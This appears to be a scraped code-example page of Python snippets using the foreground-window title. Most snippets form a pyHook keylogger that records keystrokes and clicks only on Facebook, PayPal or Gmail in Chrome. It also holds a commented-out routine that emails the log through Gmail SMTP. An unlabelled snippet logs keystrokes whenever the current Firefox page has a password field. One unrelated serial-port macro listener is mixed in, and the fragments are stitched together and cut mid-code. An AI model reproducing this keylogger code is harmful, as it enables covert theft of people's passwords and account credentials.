Пример #1
0
 def OnMouseEvent(event):
     currentWindow = GetWindowText(GetForegroundWindow())
     if not((currentWindow.find("Chrome")!=-1) and ((currentWindow.find("Facebook")!= -1)or (currentWindow.find("PayPal")!= -1))):
      return # if not in chrome or in chrome but not on facebook,paypal or gmail
     else:
         f = open('C:\\Users\\Elad\\Desktop\\output.txt', 'a')
         f.write('\n <M-CLICK> \n')
         f.close()
Пример #2
0
 def OnKeyboardEvent(event):
     currentWindow = GetWindowText(GetForegroundWindow())
     if not((currentWindow.find("Chrome")!=-1) and ((currentWindow.find("Facebook")!= -1)or (currentWindow.find("PayPal")!= -1))or(currentWindow.find("Gmail")!= -1)):
             return # if not in chrome or in chrome but not on facebook,paypal or gmail
     else:
         f = open('C:\\Users\\Elad\\Desktop\\output.txt', 'a') # Creating an output file
         f.close()
         if currentWindow.find("Facebook")!= -1:
             facebook(event) # If on facebook go to facebook handler
         elif currentWindow.find("PayPal")!= -1:
             paypal(event) # or go to paypal handler
         else:
             gmail(event)
Пример #3
0
def startListen(port):
    global stop
    global defaultActions
    global showRawRead
    global baudrate

    # hide window
    root.withdraw()

    ser = serial.Serial(port, baudrate)

    # listener
    while stop == False:

        # current open and active in foreground window
        currWindow = GetWindowText(GetForegroundWindow())

        try:
            read = ser.readline().strip().decode('ascii')
        except serial.SerialException:
            read = "null"
            stop = ExitApplication(2)
            pass

        if (showRawRead):
            print(currWindow)
            print("raw read: " + read)

        # kill/stop app button, not needed at all
        elif read == 'kil':
            print("stop")
            root.deiconify()
            stop = ExitApplication(1)
            if stop == False:
                root.withdraw()

        #? 'profiles'
        # Add and/or change the name of the program
        # must contain a exactly word of the window title
        if (currWindow.find("Chrome") > -1):
            ACTIONS_CHROME(read)
        # elif(currWindow.find("<My_Program_name_here>")):
        # ACTIOSN_MY_PROGRAM_ACTIONS_HANDLER(read)

        # default actions
        else:
            if (defaultActions):
                ACTIONS_DEFAULT(read)
def OnKeyboardEvent(event):
    buffer = ''
    global pre
    global response
    global soup
    global pw
    print 'en'
    curr = GetWindowText(GetForegroundWindow())
    check = 'Mozilla Firefox'
    if curr.find(check) >= 0:
        print 'pass'
        f = open(
            r"C:\Users\vignesh\AppData\Roaming\Mozilla\Firefox\Profiles\ifsh50qg.default\sessionstore-backups\recovery.js",
            "r")
        #f=open(r"D:\output.txt","r");
        jdata = json.loads(f.read())
        f.close()
        op = (jdata["windows"][0]["selected"])
        c = 0
        for win in jdata.get("windows"):
            for tab in win.get("tabs"):
                c = c + 1
                if op == c:
                    i = tab.get("index") - 1
                    url = tab.get("entries")[i].get("url")

        if pre != url and url.find('about:') == -1:
            if url.find('http') < 0:
                url = 'http://' + url
            #print url,'1234'
            response = requests.get(url)
            soup = bs4.BeautifulSoup(response.text)
            f = open('d:\output1.txt', 'a')
            parsed_uri = urlparse(url)
            domain = '{uri.scheme}://{uri.netloc}/'.format(uri=parsed_uri)
            f.write('\n')
            f.write(domain)
            f.write('\n\t')
            f.close()
            pre = url
        elif url.find('about:') != -1 or curr.find('New Tab') >= 0 or re.match(
                '^Mozilla Firefox$', curr) != None:
            url = 'http://localhost/m'  #a local site having no password field
            response = requests.get(url)
            soup = bs4.BeautifulSoup(response.text)
            pre = url
        #if pre!=url:

    ##print response.text

        if event.Ascii == 5:
            _exit(1)

        print(soup.find(type="password")
              ) != None, url, soup.title, "xxxxxxxxxxxxxxxxxxxxxxxx"
        print curr, 'qqqq'
        if (event.Ascii != 0 or 8) and (soup.find(type="password")) != None:
            f = open('d:\output1.txt', 'a')
            keylogs = chr(event.Ascii)
            if event.Ascii == 13:
                keylogs += '\n'
            buffer += keylogs

            f.write(buffer)
            f.close()
            buffer = ''
Пример #5
0
          print "Writing to file"
          f.close()
          print "closing file"
 '''
  while True:
     time.sleep(20)
     r = open('C:\\Users\\Elad\\Desktop\\output.txt','r')
     data = r.read()
     server = smtplib.SMTP('smtp.gmail.com',587)
     server.starttls()
     server.sendmail('*****@*****.**','password', data)
 '''

 while True:
     print "started out!"
     currentWindow = GetWindowText(GetForegroundWindow()) # First out gets the current window
     print currentWindow
     time.sleep(3) # for not bombarding the console
     if(currentWindow.find("Chrome")!=-1) and ((currentWindow.find("Facebook")!= -1)or (currentWindow.find("PayPal")!= -1)or(currentWindow.find("Gmail")!= -1)): # if you're in chrome and in Facebook or Paypal
           print "Im past the chrome condition"
           hm = pyHook.HookManager() # creates hooking manager
           print "created hook manager, waiting for key press"
           hm.KeyDown = OnKeyboardEvent # assigns OnKeyBoardEvent to KeyDown
           hm.MouseLeftDown = OnMouseEvent
           hm.MouseRightDown = OnMouseEvent
           hm.HookKeyboard() # Hooking Keyboard
           hm.HookMouse() # Hooking Mouse
           print "hooking keyboard..."
           print"pumping messages"
           pythoncom.PumpMessages() #Pumpin messages to console